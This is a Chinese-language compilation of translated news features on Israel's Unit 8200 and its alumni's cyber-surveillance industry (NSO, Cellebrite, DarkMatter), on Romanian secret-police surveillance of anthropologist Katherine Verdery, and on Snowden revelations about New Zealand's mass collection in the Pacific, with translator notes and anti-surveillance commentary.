【注：阿什肯纳兹犹太人（אשכנזים）是源于中世纪德国莱茵兰一带的犹太人后裔（阿什肯纳兹拉近代指德国）。近年来，在以色列 "阿什肯纳兹" 有一个全新的用法：凡是来自欧洲，包括欧洲的塞法迪犹太人，统统被称作 "阿什肯纳兹"。以色列宗教意义上的阿什肯纳兹犹太人必须遵守阿什肯纳兹大拉比的宗教裁定。从这个意义上讲，这些宗教意义上的阿什肯纳兹犹太人也必须支持某些以色列政党和宗教利益。】

和世界上其他地方一样，这个精英阶层的特权也伴随着禁忌。"很明显，对我这样的人来说，人生是有路线的"，K.说。比如："你不会去做边防警察"，在被占领土上， 以色列国防军士兵控制着巴勒斯坦人的一举一动。"那不是 '我们这类人' 会做的事。"

但是，光荣地完成以色列国防军的服役，是履行精英义务的首要任务。那么，在8200服役，"是实现目标的一种方式，成为其中的一员，但不做占领区的那种丑陋的事"。对**K.**来说，"情报是一种道德选择"。

许多以色列人想方设法在私人市场上使用他们的以色列国防军技能。以色列记者的简历显示他们往往是在以色列国防军的热门电台 **Galatz** 开始工作的。不过对于**8200**的毕业生们来说，退伍后的机会基本都是在网络监控方面。

据《国土报》援引2018年的一项研究估计，在创办以色列**700**家网络安全公司的**2,300**人中，有**80%**的人是通过以色列国防军的情报部门来的。以色列私营公司已向马来西亚、博茨瓦纳、阿塞拜疆、安哥拉、洪都拉斯、秘鲁、尼日利亚、厄瓜多尔、墨西哥、埃塞俄比亚、哈萨克斯坦、特立尼达和多巴哥、哥伦比亚、乌干达、阿联酋等等专制国家出售高端的监控技术。该行业每年的集体销售额接近**10**亿美元。

【注：臭名昭著的以色列“飞马”间谍软件制造商NSO就是借助8200部队毕业生创建的监视技术起家的，如今《它在45个国家被用于监视和攻击异议人士及活动家—亚洲有香港》。】

以色列的网络情报界在全球范围内享有威望。尽管国际人权组织和那些孤独的活动家们一直在推动反对本土公司向世界各地出口网络武器的轻而易举和秘密性。

与此同时，一代代优秀的年轻人正从一个资源丰富的政府间谍机构被输送到一个不受控制的网络监控行业。有什么能阻止这条输送管道吗？8200部队在伊萨维亚（Issawiya）巴勒斯坦居民区隔壁

在以色列网络武器行业内，作为图腾的名字是NSO集团。它的 **Pegasus**（飞马）间谍软件可以入侵任何手机，甚至不需要目标点击任何链接 —— 无交互攻击。它被用来追踪从墨西哥到摩洛哥的全世界异议人士、活动家和记者。

最臭名昭著的是，在美国华盛顿邮报专栏作者 Jamal Khashoggi 被谋杀前，沙特当局利用以色列间谍软件 Pegasus 黑进了 Khashoggi 的一位亲密朋友的手机，以便监控 Khashoggi。因此导致 Khashoggi 被分尸残害。在这里看到这个故事《当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》。

在这里看到对沙特政府的刽子手的调查《杀死华盛顿邮报记者 Jamal Khashoggi 的杀手在美国接受的培训》；在专栏“以色列和NSO”中看到更多相关内容。下载：https://www.patreon.com/posts/quan-shi-jie-zui-38139678

在**NSO**集团的背后，还有很多同类的间谍软件生产商。**Cellebrite** 提供恢复从设备中删除的数据的服务 —— 即 数字取证；在有人提出他们为FBI破解了2015年圣贝纳迪诺枪手的iPhone后，这家公司声名鹊起。**NSO**的姐妹公司 **Circles** 销售的是仅使用电话号码就能进行地理定位在任何地方追踪目标人的能力。Candiru 的目标是服务器；它的名字来自于以 “能钻进人类尿道上” 而闻名的亚马逊寄生鱼。

这些公司中的许多公司都是以其前以色列情报部门创始人和雇员的威望在全球范围内进行营销的。该行业的一些观察家认为，这些公司夸大了他们的黑客技术范围。随后的报道显示，Cellebrite 并没有真正破解圣贝纳迪诺案中的 iPhone。最近，Cellebrite 被报道能破解加密消息应用 Signal。之后 Cellebrite 在关于Signal在一份口气非常不屑的声明中说：他们 “不做任何形式的实时监控”。

- 不要错过《泄漏文件显示间谍已经能绕过 Signal 的加密，那么端对端还有用吗？》

同样，K.说，他在8200部队内部所做的很多工作，远非人们经常鼓吹的复杂间谍软件。“大多数以色列人认为，情报工作是纯洁而狡猾的”，他说。他开始认为以色列国防军的情报工作是直白、肮脏的工作。“老派的东西”，他说。他解释道，比如勒索巴勒斯坦同性恋者。或者威胁切断有健康问题的人的医疗服务。或者威胁有健康问题的人的家属。但当谈到对**8200**的批评时，**K.**在他的同行中是一个异类。许多人更像 **Raphael Ouzan** —— 真正的信徒。

【注：Raphael Ouzan，33岁，以色列的技术专家和企业家。他也是以色列总统技术与创新奖的获得者，是 BillGuard 的联合创始人、以色列技术挑战赛的创始人兼董事长 —— **8200**部队毕业生的典范。】Raphael Ouzan, founder of a financial security app called BillGuard, is a paragon of Israel’s 8200-to-tech pipeline. George Etheredge for Rest of World

Ouzan，络腮胡，戴着眼镜，是以色列8200部队到技术公司输送管道的典范。当我们与他用 Zoom 对话时，他身后的背景是他可爱的曼哈顿市中心公寓。他的相机如此高端，让我自愧不如；他的输入音频如此清脆，仿佛他在我耳边低语。他用一个小小的透明玻璃杯喝咖啡。为了戏剧性的停顿，他交替着小口小口地喝，还有双手到嘴唇的祈祷动作，看起来彬彬有礼，体贴入微，不厌其烦，毫不畏惧。

他在法国的香槟区长大，对电脑情有独钟。他说：“这是我对狭隘世界的一种逃避”。他一有空就开始摆弄旧的垃圾台式机。他没有机会

接触到昂贵的“小工具”或“外围设备”。他有一本关于C＋＋的书，一切都是他自己摸索出来的。11岁时，他就成了邻居家的电脑小子。他为犹太教堂的亲朋好友建立网站。他们会通过他的成人礼现金礼物的形式付款给他。

之后他开始有了更大的梦想，他开始感到自己的美丽家乡很暗淡。“我出生在一个非常小的地方，这里的人非常没有野心，容易满足”，他说，“我必须搬家”。他曾在家庭度假时去过以色列。“那里有一种充满活力的、有创造力的混乱，感觉真的很适合我。所以我就试了试。”

16岁时，他离开了家乡，进入耶路撒冷的一所寄宿学校。“在法国，我们学习的是 **PowerPoint** 和微软 **Office**”，他自嘲地说，“而在以色列，我们学习的是机器人和计算机科学的融合”。他开始参加比赛；2006年，他赢得了以色列-英特尔青年科学家大赛。“在以色列，每个人都关心科技。每个人都是如此。我当时超级开心。也许我对希伯来语不是那么了解。但我的确在做计算机的东西。”

美国的初创公司拉拢了这个法国裔以色列奇才。17岁之前，他去波士顿为一家通信公司 eDial 工作。在马萨诸塞州，而不是以色列，**Ouzan** 第一次了解到军队中的科技工作是什么样的，他被告知：“有一群以色列人在那里， 我听说这个很酷的东西你可以做。在科技部门，在军队里。”

Ouzan 的具体路径很独特。但他的早熟是有普遍性的。在以色列，科技教育最早可以从中学开始。那些被认为有前途的青少年在登陆**8200**部队之前，会被输送到各种精英支线项目中。

> “你需要接受超级艰苦的训练。从早到晚。而且一切都很务实。这不是理论。这是关于如何去执行任务。”

Ouzan 最初的以色列国防军评估给他分配了“战士的形象”，这应该意味着在战斗部队中的一个位置。靠着难得一见的背景，他进入了8200部队。首先是基础训练，他觉得这种训练很有趣，很有吸引力。“它没有什么知识性”，他笑着说，“你能学到的是思考方式”。 然后是8200的专业情报课程。长达数月的课程紧张而多面。

他说，在那门机密课程的第一天，一切都改变了。“我对它一无所知，但我可以告诉你坐在我对面的是我见过的最聪明的人”，他说，你得到的训练超级辛苦。从早到晚。而且一切都很务实。这不是理

论。而是要去执行任务”。 他呆滞地看向身边：“而此时，就是这样—— 你不再是个孩子了。”

专业课程结束后，Ouzan 被精挑细选，在8200部队内组建了一支小分队。“我当时20岁，给我管理的人都比我年纪大，学历比我高”，他说，“我可以给这个小队一个品牌名称，给它一个使命。我的生活也变得很奇妙”。 像大多数8200的毕业生一样，Ouzan 不会详细介绍他的实际工作。此前他确实暗示，他并没有在巴勒斯坦被占领土上进行监视工作，这意味着他在8200内的团队很可能专注于国外对以色列的威胁感知。以色列监视摄像机俯瞰被占领的西岸比尔·纳巴拉附近的巴勒斯坦人。一位前8200名毕业生告诉记者，他在该部门的大部分工作都是对巴勒斯坦人的直接监视。

在8200工作五年后，Ouzan 打造了一款名为 BillGuard 的金融安全应用。五年后，它以3000万美元的价格被收购。接下来，他创建了自己的精英支线计划，承诺 “在受以色列国防军**8200**情报部门启发的强化项目中” 培训参与者，并提供 “以色列顶级高科技公司令人难以置信的就业安置机会”。目前，他正在筹建一个新的创业公司 A.Team，这是一个仅限邀请的科技人才孵化器。他说，即使在疫情期间，“它也在疯狂地成长”。

在他的上升生涯中，**Ouzan** 非常依赖他的**8200**部队人际关系网络。他聘请了很多8200的毕业生，并与前8200的投资者合作。甚至他在纽约的前银行家也是8200的人。而且这个网络跨越了几十年 —— Ouzan在 BillGuard 的一位董事会成员和他在同一栋8200大楼里，早在20年前。

另外，8200还有自己的加速器—— 8200 for Startups by EISP，还有一个官方校友会。但 Ouzan 说：“校友网络非常强大，不一定非得是正式的。你可以联系**8200**的任何一个人，他们肯定会和你交谈，或为你担保，或给你提供潜在员工的信息。如果和美国的常春藤盟校相比，我可以问起你大学同学的情况，你会告诉我什么？他们是个好人？准时去上课？**……** 而**8200**这个网络绝对是全球性的，非常强大，人们喜欢聚在一起做事。”

当试图解释对他来说如此特别的具体细节时，Ouzan 指出了这个单位的大胆。在最初那门严格的情报课程中，Ouzan 会一直盯着墙上的一张海报，上面写着 “hakol efshari”—— “一切皆有可能”。

“在最初的五分钟里，我觉得它很俗气”，Ouzan说，但很快，它就变成了一句咒语。“你只管去做。你不要问问题。为什么不？因为愚蠢

—— 愚蠢是不可或缺的。你可以做任何事，只要你足够愚蠢地去相信它。” 女人们走在东耶路撒冷旧城的以色列监控摄像头下

2020年底进行这次采访时 Eitay Mack 刚刚提交了一份请愿书，要求停止向圣保罗的军事警察运送以色列制造的内盖夫机枪。多年来，这位活跃的律师一直在打击以色列传统武器的国际出口。但过去几年里，他解释说，带来了 “我观点的改变” 。

【注：IMI内盖夫是一种由以色列IMI制造的，用于替代在连续射击中容易出现枪管过热现象的 5.56mm Galil ARM 用的轻机枪。这支启发自FN Minimi的轻机枪于1985年正式开始研发，并于1997年被以色列国防军正式采用。】

【注：Eitay Mack 是以色列的人权律师，致力于制止以色列向犯有战争罪和危害人类罪的政权提供军事援助。】

如今，一个压迫性政权 “已经不必直接射杀抗议者”，他说，“有了以色列的强大技术，他们就能在抗议活动发生之前扼杀异议人士。以色列的监控系统就是新的乌兹冲锋枪。”

【注：乌兹冲锋枪，是以色列军事工业的一种轻型冲锋枪，由乌兹·盖尔上尉于1948年设计。】

为此，他的请愿活动越来越多地集中在以色列的网络武器销售上。Eitay Mack，干脆利落，沉默寡言，单枪匹马：他调查和发现这些秘密的武器销售，然后提出立法，阻止它们。

以色列的所有武器出口都必须得到以色列国防部的批准。但销售的细节是保密的。在年度简报中，国防部只报告销售的总金额和出售给多少个国家，不会具体说明。

以色列有严格的军事审查制度。也就是说， **Mack** 作为一个以色列公民，获取以色列的机密军事信息其实是非法的。Mack 的所有工作都是基于从活动家和公开来源获得的信息。“很多信息已经在网上了”，他淡然地解释道，“那些专制政权以获得以色列技术为荣。”

2015年，在军方负责人在 Facebook 上发布缅甸士兵携带以色列武器的照片后，他发现了对缅甸军方的武器销售。(截至今年2月的一次政变，缅甸再次被军方控制。)

他通过乌克兰新纳粹组织 “阿佐夫营” (Azov Battalion) 的 Instagram 账号发现该组织正在使用以色列的塔沃尔 Tavor 突击步枪。

他通过阅读一个委内瑞拉调查小组的内部杂志，得知 Cellebrite 正在向委内瑞拉政府出售。

Mack 还发现了 Cellebrite 将其技术卖给 LGBTQI 社区遭受逮捕的印度尼西亚、和自由选举活动人士遭受镇压的白俄罗斯的证据。

在香港，Cellebrite 的技术被用于破解被民主活动家被当局没收的手机，包括因参与抗议活动而正在服刑一年的黄之锋 Joshua Wong。在俄罗斯，Cellebrite 已经被普京最宠爱的间谍机构使用了至少2.6万次，其目标是反对派领导人阿列克谢·纳瓦尔尼和数百个人权团体。

据 Gizmodo 报道，Cellebrite 在美国的销售也很火爆，包括拥有60万学生的洛杉矶联合学区在内的8个学区已经购买了 Cellebrite 技术来解锁学生的手机。一位之前在 Cellebrite 工作的8200部队毕业生告诉记者，她是通过前8200的情报朋友找到工作的，“这是**8200**创造的社区”。以色列人权律师埃塔伊·麦克（Eitay Mack），他对该国的武器和网络监视销售进行了调查，并提出立法以试图制止它们。

通过发言人，Cellebrite 拒绝对具体的销售情况发表评论，仅表示“我们不向北美、欧盟、英国或以色列政府制裁的国家销售。此外，我们会仔细审查和核实我们的最终用户是否在 Cellebrite 注册，以确保他们符合我们的指导方针。”

在 Mack 看来，网络武器的销售首先是以色列几十年来传统武器出口的延续：上世纪**60**年代，以色列就向巴西军事独裁政权出口武器；上世纪**90**年代，以色列向卢旺达和巴尔干地区的冲突出口武器；近年来，以色列向南苏丹内战出口武器。

而在世界范围内流动的不仅仅是以色列的武器装备，还有以色列人。

据路透社报道，DarkMatter 是一家阿布扎比的私人情报公司，人们普遍认为它是阿联酋政府的承包商。据 Yedioth Ahronoth 报道，**DarkMatter** 还以提供每月**10**万美元的巨额合同和在美丽的塞浦路斯海滩上的富丽堂皇的海滨租房来招募**8200**部队毕业生而闻名。几年前，据纽约时报报道，**DarkMatter** 甚至成功地从**NSO**集团挖走了很多**8200**部队毕业生。在下面看到具体介绍。

关于DarkMatter，见《美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept》；《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》；《一个新的战争时代：互联网雇佣军如何为威权政府而战》。

在向这个虽小但影响力广泛的海湾国家输送软件和人才多年后，Mack 说，阿联酋和以色列在**2020**年夏天达成了特朗普促成的正常化协议，这并非巧合。

他认为，在以色列网络武器领域，“公司正在执行政府政策”。Mack 说，以色列公司并不像欧洲或美国同行那样，是真正的私营企业。“以色列的军事敏感度太高了”，实际上，许多网络武器销售都是“政府之间的军事协议”。

但当国际媒体报道NSO时，很少提到国防部的作用。“国防部的政策是不否认 —— 就是什么都不说”，Mack 解释说，“每个人都在谈论这家私营公司。但它是按照国防部的政策工作的。”

在回答记者的提问时，一位发言人表示，国防部 “不评论特定公司或向特定国家的出口许可” 。

主要是，**Mack** 认为网络销售与 “以色列国安的另一个问题” 有关：与伊朗及其在整个中东地区的代理人冷战。从这个角度来看，以色列的出口销售要么是为了巩固关系，要么是为了破坏敌人的稳定 —— 或者是关于任何其他可以被视为以色列在全球秩序中地位的净利好。以色列科技记者阿米泰·齐夫认为，“当以色列向摩洛哥或沙特阿拉伯出售武器时，就等于外交上的封口费，削弱了国际上对占领的批评。也就是，一种罪行为另一种罪行开脱。”

Mack 是一个松散的、微小的、非官方的调查网络的一部分，该网络推动反对以色列的网络武器出口。这个网络包括 Eli Yosef，他是一名定居者和活动家，他在20世纪70年代首次成名，抗议支持锡安囚犯，这是一群无法离开苏联前往以色列的俄罗斯犹太人。

当记者在2020年底打电话给他时，Yosef 很愤慨：“我们非常相信生命的神圣！”

Yosef 很可能总是愤愤不平。作为1975年移民到以色列的犹太人，Yosef 仍然带着他的北伦敦口音。他成为了一名活动家，为犹太人争取自由。但近年来，**Yosef** 的关注点是以色列的武器销售。为抵制军售，他绝食抗议。他有一小群同胞抗议者，他通过一个 WhatsApp 群动员人们。“我跟你说实话”，他说，“这不是一个大的团体”。

他的主要战术仍然是公开亮相。正如 Yosef 所解释的那样，“我去参加不同的议员会议，让自己挨打”。 在网上，你可以找到 Yosef 的行动主义录像片段：当政客发言时，他就站在那里，公开指责那些政客

为谋杀儿童提供便利，直到他真的被人拎起来，拖着还在尖叫的他离开会场。

“无论你是使用常规武器还是使用网络武器”，**Yosef** 说，“它们都是同一个系统的一部分。你开始追捕人权活动家，事情会变得更糟糕，非常糟糕。”Eli Yosef 是定居者和活动家，他于1975年从英国移民到以色列。“我爱以色列国。我在所有方面都为以色列效劳”，Yosef 说。

2018年，大赦国际发现有证据表明，NSO集团的技术曾被用于试图监控大赦国际的一名员工。(该员工的身份和地点仍未披露。)对于大赦国际以色列办事处来说，这是一个明显的行动机会；他们提起诉讼，要求国防部撤销NSO集团的出口许可证。

在此案未决期间，大赦组织以色列员工参加了一次技术会议 “Mind The Tech”。在那里，他们碰到了NSO集团的CEO Shalev Hulio。

Hulio 本人其实不是8200的毕业生，他的背景故事很奇特。他说，在最初的时候，NSO集团是一个帮助消费者购买他们在电视上看到的产品的服务。去年，一位情报官员对国安记者 Ronen Bergman 说，NSO集团的技术来源就是以色列。

Hulio 在大赦组织代表身边晃来晃去，试图迷惑人权组织。大赦国际以色列发言人吉尔·纳维说，其中一名大赦组织代表最后对 Hulio 说：“听着，你是个亿万富翁，你认为你在打击罪犯 —— 但你不是蝙蝠侠。得了吧”，Hulio 一笑置之。

几个月后，特拉维夫地方法院驳回了大赦国际以色列组织的上诉：他们裁定，大赦国际未能证明NSO与间谍软件针对大赦国际工作人员之间的联系。在国防部的绿灯下，**NSO**集团被允许继续在国际上出口他们的间谍软件。

以色列的小型反武器联盟继续推动新的立法，以防止向有侵犯人权历史的政府出口，并建立对本土国防公司的更多监督。但公众对他们的反抗工作的支持度在这个拥有900万人口的国家内非常有限。人权活动家、大赦国际前雇员 Chen Bril Egri 说，大多数普通的以色列人，“对我们想要推动的反抗斗争简直是零容忍”。如果说以色列社会对网络武器产业有一个普遍的共识的话，那就是，一种莫名其妙的尊重。

2018年华盛顿邮报专栏作家贾马尔·卡舒吉（Jamal Khashoggi）遇害

一个月后，爱德华·斯诺登在出席特拉维夫科技会议上时，公开指责NSO集团在卡舒吉死前帮助沙特监控。同一周，以色列一档流行的晚间脱口秀节目 “Guy Pines 的美好夜晚” 播出了一段关于这家间谍软件公司的短小而奇特的节目。

通过拼凑一些社交媒体的帖子，该脱口秀节目已经弄清楚，NSO集团最近有数百名员工飞到泰国的一个豪华度假村参加公司的秘密疗养活动。那里有按摩、泳池边派对、NDA，还有歌手 Netta（她获得了2018年欧洲电视歌唱大赛冠军）和心理操纵大师 Lior Suchard 的独家表演（他被邀请参加美国著名歌手 Kanye West 的41岁生日）。

在这一环节中，Pines 和他的共同主持人 Shalmor Shtruzman 谈起NSO集团时，一副笑眯眯的样子。有一次，Shtruzman 说，NSO可以“侵犯世界上每个人的隐私”；而 Pines 讽刺地补充道：“但在泰国的海滩上，谁有精力去处理隐私呢？”

他们在罪恶面前谈笑风生。一个小男孩盯着位于以色列定居点三边封闭的一所巴勒斯坦人房屋入口处的监视摄像机

K.本人现在在以色列科技行业担任数据分析师。“肯定，这与我的服务有关”，他说。“它打开了各种可能性。经验、人脉。”

靠他在8200的经验来建立事业并不是一直以来的计划。他在大学里学的是人文科学。在进入8200之后的很多年里，他根本没有做任何形式的技术工作。“不论如何都需要谋生。现在我又回到了这个行业。这是个好工作。”

直到在8200服务了5年之后，K.才开始决定拒绝这份工作。他说：“在军队里很少会发生一些不道德的事，以至于你感觉自己必需走出房间说：‘我不能参加’。因为一直以来你很难真正看到它的全部。你并不真正理解自己在干什么。因为你只是机器上的一个齿轮。”相反，令人震惊的“是很多小事叠加起来的结果”。

服务结束后，他参观了西岸。他参加了与巴勒斯坦活动家的讨论小组。他与大学里的阿拉伯朋友交谈。最后，他了解到，一些8200毕业生同学也有同样的想法。一个朋友向他提出了这个想法：写一封公开信。他记得当时他在想：“我不确定这是不是最好的办法”。他想，也许他可以从内部做更多的事。这是一件大事，“撕开你和社会的联系”。“不做局外人” 的冲动很强烈。

2014年，K.和其他42名8200毕业生发表了一封致以色列国防军参谋

长的公开信，以道德为由拒绝履行以色列国防军的预备役。

当记者在另一次 Zoom 聊天中提到2014年 refusenik 给 Ouzan 的信时，他要求记者提个醒。记者解释了要点：一群前8200士兵争辩说，该部队对巴勒斯坦人的普遍监视只会加剧冲突。“我不知道那封特别的信和巴勒斯坦人的那件事”，他说。“我不知道，这不是我工作的内容。但有一件事我相信：人们必须要有安全感。没有[安全]，我们就注定要失败。”

2014年，这封信一经发表，就引起了媒体的风波，很多报道都来自于国际媒体。但**8200**的根本声誉并未受到任何影响。在科技行业，那些在以色列国防军精锐情报部队中奋力拼搏的优秀青年男女一如既往地令人垂涎。**8200**的品牌是强大的。

- 《监视技术公司实际上 *受益于* 其人权丑闻的曝光》

Eli Yosef 仍然是一名现役的以色列国防军预备役伞兵。他的 WhatsApp 个人资料照片显示，他穿着以色列国防军的军装，将一面以色列国旗拉上旗杆。他相信犹太人对这片土地的神圣权利；他住在被国际法视为非法的西岸主要定居点之一。“我的立场是，我爱以色列”，他说。“我爱以色列人民。我爱以色列国家。我支持以色列的一切”。**Yosef** 渴望相信以色列的道德正义，相信以色列无孔不入的军事化的理由。但是，“一些非常糟糕的事正在被掩盖之下发生”，他说，“在黑暗中发生！”

在这一切发生的几年前，Yosef 就担心以色列的科技人才输送管道会困住他的小孙女。他说：“**18**年后，当她**22**岁、**23**岁的时候—— 当兵后—— 她的朋友们会接到不同的网络公司和军火商的电话，这些公司给他们提供了很多钱，让他们在那些独裁国家培训人才。他们试图抢走她纯真的心灵 ，给她一笔丰厚的金钱”。他感慨道，“我不希望我的孩子以这种方式被人接近。”〇

Inside Israel’s lucrative—and secretive—cybersurveillance industry

原文

“我的间谍生活” — — 在共产主义罗马尼亚的监视之下 - iYouPort

老大哥的真面目

那些认为自己没什么可隐藏的人，应该意识到：有没有需要隐藏的东西这件事不是由你来决定的，而是取决于监视者

「图」

「图」

罗马尼亚的秘密警察特工窃听她，说服她的朋友窥视她，并在她只穿着内衣时偷拍她。

大约有 70 名警方线人和间谍密切关注着纽约城市大学研究生中心的人类学教授凯瑟琳·韦德里（Katherine Verdery），她在 70 年代和 80 年代作为研究罗马尼亚人类学的研究生访问了那个共产主义的罗马尼亚。

共产党领导人尼古拉·齐奥塞斯库的秘密警察没有对其他美国公民进行过如此密切的审查。

1989 年共产主义倒台后，Verdery 获得了 2,781 页的档案，并将这些资料转化成了一本 344 页的书，“我的间谍生活”。

这本书最近被翻译成了罗马尼亚语，陈旧的伤疤被揭开了，同时也挑战了罗马尼亚人对他们历史上的黑暗篇章的记忆。

当年作为一个年轻而天真的美国学者，Verdery 自己承认，她并不理解应该如何适应这个东欧国家。在冷战期间，罗马尼亚政府认为被送到该国的美国学生都是西方特工，而且当她在 20 世纪 70 年代无意中将自己的摩托车开到军事基地时，也没有采取任何措施来消除被认为是间谍的怀疑，虽然在那个时期负责监视她的官员最后得出结论她并没有从事间谍活动。

当最终发现自己曾经被视为美国间谍的时候她真的很惊讶，她说，“我无法相信自己的眼睛，监视的程度比我预期或想象中的状况要大太多。”

罗马尼亚秘密警察(Securitate) 负责报告她的一举一动，有时是每天连续 16 个小时的监控；酒店接待员举报她的行踪，其他人偷翻她的行李箱，偷走她的笔记本；她去过的所有地方都被偷拍和窃听；秘密警察威胁她的朋友和熟人举报她。

他们担心她会以不利的方式描绘罗马尼亚，或者在报道中对罗马尼亚最惠国的地位产生负面影响。监视者给 Verdery 起了各种代号：“Vera”，“Vanesa” 和 “Folklorista”。

Verdery 感到愤怒和沮丧，她开始试图理解和记录自己为什么会成为目标。这里不仅有监视，还有背叛，发现自己曾经信任的朋友居然为秘密警察工作，这种感觉真的糟透了。

她再次回到了罗马尼亚，在那里她寻找、会见、讨论，并最终原谅了曾经负责监视她的亲密朋友和同事。

这是个艰难的任务。当年的涉事者有些已经死了，另一些断然否认，一位女士甚至责备 **Verdery**，认为是她让自己变成一名告密者的。只有一个人道歉。

与其他前共产主义国家不同，罗马尼亚没有调和秘密警察 Securitate 对社会的阴影和腐蚀作用。那些秘密警察渗透在各行各业中，监视公民扼杀异议。

观察家说，旧的 Securitate 间谍网络仍在继续运作。“这些思想警察活跃于政治和新闻界; 布加勒斯特大学的政治科学教师阿曼德•戈苏（Armand Gosu）说，他们和以前一样活着，我们的社会还没有愈合……

上个月在罗马尼亚出版的“我的间谍生活”这本书似乎有了一种宣泄的效果，尽管有些人批评她没有“足够的判断力”。这本已售罄的书打开了旧的伤口，并受到挑战。罗马尼亚人要面对他们过去的艰难篇章：Securitate 秘密警察的普遍存在。

一位罗马尼亚读者回忆起当年的情景，“我被告知不要在学校和幼儿园随便说话; 我们的父母因为害怕而不会在我们面前说话 ……在共产主义结束近 30 年后，人们仍然担心自己不知什么时候就会陷入困

境。罗马尼亚人生活在一种你无法信任任何人的创伤中，而且至今都没有恢复“。

信任是最难重建的东西，中国的民间告密者的危害不仅仅限于当下，在许多年之后很可能仍然令这个国家难以获得信任的安全感。更可怕的是对隐私的误解和漠不关心，当一个中国人是群主要求所有人使用实名时，你应该能体验到这个社会已经处于何等的危险境地。

这本书最珍贵的价值不仅仅限于罗马尼亚和所有前共产主义国家的反思，而是整个世界。当下世界正处在又一次的监视文化高峰，侵入性的数字技术激发并为这一文化提供了前所未有的便利。这不仅是当年的秘密警察变成了如今的网络水军和网警，还有国际间问题，曾经使用线人渗透以操控另一个国家的选举的计划，如今只需要在 **facebook** 上修改一个小小的算法。当年为斯塔西提供信息的人是有钱拿的，而如今把珍贵的私人信息公然扔在网上的人们什么都得不到，却轻而易举地丢掉了基本人权。

延伸阅读：《"//硅谷巨头如何用算法操控墨西哥选举//"》

任何实施大规模监控的政权都在表明，其必然是一个压迫性政权，就算其中并无心怀不轨的官员借机为自己牟利，也同样如此，这是其做法本身的性质。不论监控的结果是否出现滥用，都无法回避问题的关键：它本质上就构成了对自由的严重侵犯。

监视文化中没有人能置身事外，认为自己对权力俯首帖耳就能幸免的误会极具危害性。就如南德意志报记者 Hans von der Hagen 所言，那些认为自己没什么可隐藏的人，应该意识到：有没有需要隐藏的东西这件事不是由你来决定的，而是取决于监视者。

这本书对前共产主义国家监视的描述将是一个非常好的提醒，对当下无孔不入的监视世界中的人们来说，认识到自己的处境是改变它的第一步。

原文

Snowden 文件：新西兰一直全面监视所有太平洋邻国，甚至是合法的 - iYouPort

老大哥的真面目

Snowden 文件揭示，新西兰一直在监视所有太平洋邻国，包括新西兰公民，对所有通信采取的是“全面收集”的大规模监视，然后将这些数据提供给美国国家安全局。这种惊人的做法甚至是合法的……但是，为什么？

「图」

「图」

这份报告提供了关于新西兰如何在南太平洋进行电子情报收集的前所未有的详细信息。随后多家媒体报道了 Snowden 文件。

Snowden 透露的文件揭示了新西兰当局在太平洋地区进行的“全面收集”，新西兰政府通信安全局将目标锁定在全球近二十二个国家。这些收集来的信息被汇总，然后送往美国国家安全局，以填充其全球间谍网络。

然后，NSA 的 XKeyscore 计算机程序可以通过类似在线购物风格的界面访问这些数据，该界面允许搜索全世界的通信。

美国独立新闻网站 The Intercept 的记者和作者 Nicky Hager 告诉新西兰广播电台，这些文件显示新西兰正在监视更多的国家，并会提供更多信息。他说，“以美国为首的五眼国家实际上一直在试图窥探世界上的每个国家……新西兰则以各种非常令人惊讶的方式在这方面所发挥着作用“。

Hager 表示，新西兰正在“挥霍”与太平洋邻国的密切关系，以便与美国的关系更为密切。

“我们监视这些太平洋国家的原因……并不是因为新西兰自己关心什么……只因为它是一个可以拿出来属于 [五眼] 集团的东西。”

鉴于时任新西兰总理的 John Key 完全否认这些事实。Hager 表示，“我对新西兰感到有点难过，我们所拥有的只是[总理]说，’不要把注意力放在这上面，不要关注，我们不必谈论它’……我们原本可以做得比这更好的“。

他说这些文件在间谍活动中没有显示任何违法行为，因为国际间谍活动不在管辖范围内。

“这些都是道德问题，”他说。

其他五眼合作伙伴—澳大利亚，加拿大，英国和美国的电子间谍机构—使用的是“批量收集”一词，而不是“全面收集”。

情报和安全监察长 Cheryl Gwyn的报告证实了“新西兰先驱报”从 Snowden 的文件中报道的“全面收集”这一做法的准确性。

五眼合作伙伴将世界划分为共享监视，新西兰负责南太平洋等地区。

Gwyn 说：“如果一个国家的电信系统通过卫星连接到世界其他地方，原则上它的国际通信可以通过拦截来往卫星的通信来收集。”如果国内通信是通过国内网络中的卫星链路，就也能拦截国内通信。虽然一些南太平洋国家现在依赖海底电缆，“但仍有卫星提供与许多外岛的大量网络连接”。

Gwyn 表示，“全部收集”的数据可能只保留“几分钟”，而过滤后的数据可能会保存多年。她承认，过滤和未过滤的数据都已经与 **Five Eyes** 合作伙伴共享。共享的原因包括要求合作伙伴使用其系统以更好地分析收集到的内容。

她还发现，在 2013 年法律变更之前，GCSB 没有通过外国合作伙伴寻求对情报收集的授权许可。当时的法律还禁止收集涉及新西兰公民或居民的通讯，除非该人是在另一个国家工作的间谍。但此后这些规定被删除了。

法律变更还包括更新了 GCSB 间谍规则，该规则包含在名为 NZSID7 的文件中—新西兰信号情报指令。在 2009 年至 2013 年期间，该文件没有包括对新西兰人元数据的保护。2013 年更新的 NZSID7 和 2014 年的国籍政策改变了有关元数据的规则，并将元数据作为了一种通讯。即：监视本国公民是非法的，但国际间监视是合法的。

「图」

「图」

The Intercept 指出，这些揭露将会让人看到，新西兰声称的在该地区发挥的仁慈领导作用与其对五眼情报网络的实际行动之间的存在惊人的差异。

报告还提出了有关 GCSB 处理来自太平洋地区工作和生活的许多新西兰人的通信的问题—以及许多拥有新西兰公民身份的太平洋人。GCSB 收集新西兰人的通信是非法的。

工党领袖 Andrew Little 告诉新西兰电台，他对太平洋地区的大规模间谍活动感到震惊。“虽然我认可安全机构存在的必要性……但我对所收集信息的广度感到震惊”，他说，GCSB 监视太平洋国家并不令人意外，但无法理解对所有通信情报的兴趣。

绿党联合领导人 Russel Norman 说，GCSB 通过对太平洋国家的新西兰公民实施间谍行为违反了法律。“任何一直在太平洋地区工作或旅行的新西兰人都可以肯定他们的数据已被收集了 ……..我认为我们可以非常肯定的是，我们所有的数据都被发送到了国家安全局和美国以及他们的巨型数据库里……**GCSB** 一直在对整个国家犯罪，只因为成为了五眼的成员”**……**

他说，这一揭露显示，政府违反了法律，允许间谍机构开展活动：“这意味着我们的法律对不能监视本国公民的承诺实际上是无效的，因为新西兰政府可以绕过它。”

虽然 GCSB 一直在太平洋地区进行监视，但 Snowden 文件显示这种监视从 2009 年开始出现大规模增长。

